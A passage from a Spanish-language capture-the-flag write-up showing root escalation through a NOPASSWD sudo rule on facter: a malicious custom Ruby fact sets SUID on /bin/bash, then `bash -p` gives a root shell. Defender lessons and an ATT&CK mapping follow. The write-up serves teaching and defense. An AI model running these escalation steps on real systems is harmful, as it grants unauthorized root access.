ejecutar qu\u00e9 comandos con sudo y bajo qu\u00e9 condiciones.\n\n```\nUser trivia may run the following commands on facts:\n    (ALL) NOPASSWD: /usr/bin/facter\n```\n\n`NOPASSWD` significa que `trivia` puede ejecutar `/usr/bin/facter` como root sin que el sistema pida contrase\u00f1a. Eso es el vector de escalada.\n\nLa flag de usuario est\u00e1 en `/home/william/user.txt`, no accesible directamente:\n\n```bash\nls -la /home/\n```\n\n```\ndrwxr-x---  6 trivia  trivia  4096 trivia\ndrwxr-xr-x  2 william william 4096 william\n```\n\nEl directorio de `william` es accesible para lectura por otros (no tiene el `---` final), as\u00ed que los archivos dentro son accesibles dependiendo de sus permisos individuales. La flag tiene permisos `rw-r--r--` (william puede leerla, todos pueden leerla) \u2014 en realidad s\u00ed se puede leer directamente... pero tambi\u00e9n lo podemos hacer via facter para preparar el path a root.\n\n**Facter** es una herramienta del ecosistema de Puppet \u2014 un sistema de gesti\u00f3n de configuraci\u00f3n que automatiza la instalaci\u00f3n y configuraci\u00f3n de software en servidores. Facter recopila informaci\u00f3n del sistema (hardware, OS, red, usuarios, etc.) y la expone como \"facts\" \u2014 pares clave/valor que Puppet usa para tomar decisiones de configuraci\u00f3n. Por ejemplo, `facter os.name` devuelve `Ubuntu`, y Puppet puede usar eso para decidir qu\u00e9 paquetes instalar.\n\nFacter soporta **custom facts**: archivos Ruby que el usuario puede escribir y colocar en un directorio, y Facter los ejecuta como parte de su recolecci\u00f3n de informaci\u00f3n. El flag `--custom-dir` le dice a Facter de qu\u00e9 directorio cargar esos facts personalizados.\n\nUn custom fact tiene esta estructura en Ruby:\n\n```ruby\nFacter.add('nombre_del_fact') do\n  setcode do\n    # C\u00f3digo Ruby que se ejecuta y cuyo resultado es el valor del fact\n    # Aqu\u00ed puede ir cualquier c\u00f3digo Ruby v\u00e1lido\n    `comando_del_sistema`\n    File.read('/ruta/a/archivo')\n  end\nend\n```\n\nEl bloque `setcode` contiene c\u00f3digo Ruby arbitrario. Si Facter corre como root, ese c\u00f3digo Ruby corre con privilegios de root.\n\n---\n\n## 6. Escalada de Privilegios\n\n### 6.1 Por qu\u00e9 `sudo facter` equivale a acceso root\n\nLa combinaci\u00f3n de factores es la siguiente:\n\n1. `trivia` puede ejecutar `facter` como root sin contrase\u00f1a\n2. Facter acepta un flag `--custom-dir` que le indica de d\u00f3nde cargar custom facts\n3. Los custom facts son archivos Ruby con c\u00f3digo arbitrario\n4. Facter ejecuta ese c\u00f3digo Ruby en el proceso de facter \u2014 que en este caso corre como root\n\nNo hay ning\u00fan mecanismo que restrinja qu\u00e9 puede hacer ese c\u00f3digo Ruby. Puede leer archivos, escribir archivos, modificar permisos, ejecutar cualquier comando del sistema.\n\nUn administrador podr\u00eda pensar que Facter es \"solo una herramienta de lectura\" porque su prop\u00f3sito es recopilar informaci\u00f3n, no modificar el sistema. Ese razonamiento es incorrecto: el mecanismo de custom facts convierte a Facter en un ejecutor de c\u00f3digo Ruby arbitrario.\n\n### 6.2 Mec\u00e1nica del exploit \u2014 SUID en bash\n\nEl bit **SUID** (Set User ID) es un permiso especial de Linux. Normalmente, cuando un usuario ejecuta un programa, el programa corre con los permisos de ese usuario. Con el bit SUID activado, el programa corre con los permisos del propietario del archivo, independientemente de qui\u00e9n lo ejecute.\n\nSi `/bin/bash` tiene el bit SUID y su propietario es root, cualquier usuario puede obtener una shell con efectivo ID de root ejecutando `bash -p` (el flag `-p` le dice a bash que no abandone los privilegios elevados).\n\nSe crea un custom fact que establece el bit SUID en bash:\n\n```bash\nmkdir -p /tmp/facts.d\ncat > /tmp/facts.d/root.rb << 'EOF'\nFacter.add('root') do\n  setcode do\n    `chmod +s /bin/bash`\n  end\nend\nEOF\n```\n\nSe ejecuta facter como root con el directorio de custom facts:\n\n```bash\nsudo facter --custom-dir /tmp/facts.d root\n```\n\nFacter carga el custom fact, ejecuta el bloque `setcode`, que corre `chmod +s /bin/bash` como root. El bit SUID queda activado en bash.\n\n### 6.3 Obtenci\u00f3n de la shell root\n\n```bash\nbash -p\n```\n\n```\nbash-5.2# id\nuid=1000(trivia) gid=1000(trivia) euid=0(root) egid=0(root) groups=0(root),1000(trivia)\n\nbash-5.2# cat /root/root.txt\n0bc7cbd424afec1f42093b74da02b82f\n```\n\n`euid=0(root)` \u2014 el effective user ID es 0, que es root. Acceso total al sistema.\n\n---\n\n## 7. Lecciones para Defenders\n\n### Registro p\u00fablico en CMS de administraci\u00f3n\n\nEl panel de administraci\u00f3n de Camaleon ten\u00eda el registro abierto sin restricci\u00f3n. Cualquier persona con acceso a la URL pod\u00eda crear una cuenta de usuario.\n\n**Causa ra\u00edz:** Configuraci\u00f3n por defecto permisiva \u2014 Camaleon CMS tiene el registro habilitado por defecto y el administrador no lo desactiv\u00f3.\n\n**Prevenci\u00f3n:** Deshabilitar el registro p\u00fablico cuando el CMS es de uso interno o cuando las cuentas deben ser controladas manualmente. En Camaleon CMS: Settings > Users > Disable public registration. Si el registro debe estar habilitado (por ejemplo, para un portal de clientes), agregar aprobaci\u00f3n manual antes de activar cuentas nuevas, y no dar acceso al panel de administraci\u00f3n a cuentas no verificadas.\n\n**Detecci\u00f3n:** Monitorear creaciones de cuenta desde IPs no conocidas o fuera de horario laboral. Los logs de Rails registran cada request \u2014 buscar POSTs a `/admin/register` de IPs no internas.\n\n---\n\n### CVE-2025-2304 \u2014 Mass Assignment sin lista blanca\n\nEl uso de `permit!` en `updated_ajax` permiti\u00f3 modificar cualquier campo del modelo de usuario, incluyendo el rol.\n\n**Causa ra\u00edz:** C\u00f3digo inseguro \u2014 el developer us\u00f3 el shortcut `permit!` en lugar de declarar expl\u00edcitamente los campos permitidos.\n\n**Prevenci\u00f3n:**\n- Aplicar el parche a Camaleon CMS >= 2.9.1\n- En cualquier aplicaci\u00f3n Rails propia: nunca usar `permit!` en endpoints accesibles a usuarios. Siempre listar expl\u00edcitamente: `params.require(:modelo).permit(:campo1, :campo2)`\n- Revisar el c\u00f3digo con herramientas de an\u00e1lisis est\u00e1tico como Brakeman, que detecta usos inseguros de mass assignment en aplicaciones Rails\n\n**Detecci\u00f3n:** Monitorear cambios de rol en la base de datos. Un usuario con rol `client` que pasa a `admin` sin que un administrador haya realizado esa acci\u00f3n es se\u00f1al clara de explotaci\u00f3n. Los logs de Rails registran el request completo \u2014 buscar POSTs a `updated_ajax` con par\u00e1metros de rol.\n\n---\n\n### Credenciales de almacenamiento en texto plano en configuraci\u00f3n del CMS\n\nLas credenciales de MinIO estaban visibles en texto plano en la p\u00e1gina de configuraci\u00f3n del CMS, accesible a cualquier usuario con rol administrador.\n\n**Causa ra\u00edz:** Dise\u00f1o inseguro de la gesti\u00f3n de secretos \u2014 las credenciales se guardan en la base de datos del CMS y se muestran en la UI.\n\n**Prevenci\u00f3n:** Usar variables de entorno o un gestor de secretos (HashiCorp Vault, AWS Secrets Manager, etc.) para inyectar credenciales en la aplicaci\u00f3n en tiempo de ejecuci\u00f3n, sin almacenarlas en la base de datos. Si deben estar en la configuraci\u00f3n del CMS, ocultar el campo en la UI y requerir re-autenticaci\u00f3n del administrador para verlo.\n\n**Detecci\u00f3n:** Auditar qu\u00e9 informaci\u00f3n expone el panel de administraci\u00f3n a usuarios con diferentes roles. Las credenciales de servicios de infraestructura no deben ser visibles desde interfaces de usuario.\n\n---\n\n### Home directory sincronizado a bucket de almacenamiento\n\nEl directorio home de `trivia` \u2014 incluyendo las llaves SSH privadas \u2014 estaba sincronizado al bucket `internal` de MinIO.\n\n**Causa ra\u00edz:** Error de operaciones \u2014 alguien configur\u00f3 una sincronizaci\u00f3n de backup sin excluir el directorio `.ssh/`, o lo hizo intencionalmente sin entender las implicaciones.\n\n**Prevenci\u00f3n:** Nunca incluir el directorio `.ssh/` ni ning\u00fan material de autenticaci\u00f3n en backups que vayan a almacenamiento en la nube o buckets S3/MinIO. Si se necesita backup de llaves SSH, usar un gestor de secretos dedicado (HashiCorp Vault, AWS Secrets Manager). Configurar pol\u00edticas de exclusi\u00f3n expl\u00edcitas en las herramientas de sincronizaci\u00f3n.\n\n**Detecci\u00f3n:** Auditor\u00edas peri\u00f3dicas del contenido de buckets de MinIO/S3 buscando archivos en paths como `.ssh/`, `.gnupg/`, `.aws/credentials`. MinIO tiene logs de acceso que registran cada descarga \u2014 alertar sobre accesos a esos paths.\n\n---\n\n### sudo NOPASSWD en facter\n\nDar permisos sudo sin password a `facter` es equivalente a dar acceso root \u2014 los custom facts son c\u00f3digo Ruby arbitrario que corre en el contexto de facter.\n\n**Causa ra\u00edz:** Incomprensi\u00f3n de la capacidad de ejecuci\u00f3n de c\u00f3digo de Facter. El administrador probablemente pens\u00f3 que Facter es una herramienta de solo lectura.\n\n**Prevenci\u00f3n:** Evitar `NOPASSWD` en cualquier herramienta que pueda ejecutar c\u00f3digo de usuario, como facter con `--custom-dir`. Si Puppet/Facter necesita privilegios elevados para recopilar ciertos facts del sistema, usar el demonio de Puppet con su propio mecanismo de autorizaci\u00f3n en lugar de sudo. Auditar peri\u00f3dicamente el archivo `/etc/sudoers` buscando entradas `NOPASSWD` y evaluar cada una individualmente.\n\n**Detecci\u00f3n:** Monitorear ejecuciones de `facter` con sudo usando `auditd`. Una regla de audit para capturar execve de `facter` con el flag `--custom-dir` permitir\u00eda detectar este tipo de abuso en tiempo real.\n\n---\n\n## 8. TTPs \u2014 MITRE ATT&CK\n\n| ID | T\u00e9cnica | C\u00f3mo se us\u00f3 |\n|----|---------|-------------|\n| T1595.001 | Active Scanning: Scanning IP Blocks | nmap `-p-` para descubrir el puerto 54321 fuera del rango com\u00fan |\n| T1190 | Exploit Public-Facing Application | CVE-2025-2304 en Camaleon CMS 2.9.0 v\u00eda mass assignment |\n| T1078 | Valid Accounts | Registro de cuenta de usuario en el CMS con CAPTCHA resuelto por OCR |\n| T1548 | Abuse Elevation Control Mechanism | Mass assignment para escalar rol de `client` a `admin` |\n| T1552.001 | Credentials In Files | Credenciales de MinIO expuestas en la p\u00e1gina de configuraci\u00f3n del CMS |\n| T1530 | Data from Cloud Storage | Descarga de llave SSH privada desde bucket MinIO privado |\n| T1110.002 | Brute Force: Password Cracking | John the Ripper con rockyou.txt para crack de passphrase de llave SSH |\n| T1078.003 | Valid Accounts: Local Accounts | Acceso SSH con llave privada y passphrase crackeada como usuario `trivia` |\n| T1548.003 | Abuse Elevation Control Mechanism: Sudo | `sudo facter --custom-dir` con custom fact Ruby malicioso |\n| T1222.002 | File and Directory Permissions Modification | `chmod +s /bin/bash` para activar SUID y obtener shell root |", "creation_timestamp": "2026-09-25T03:18:45.000000Z"}]}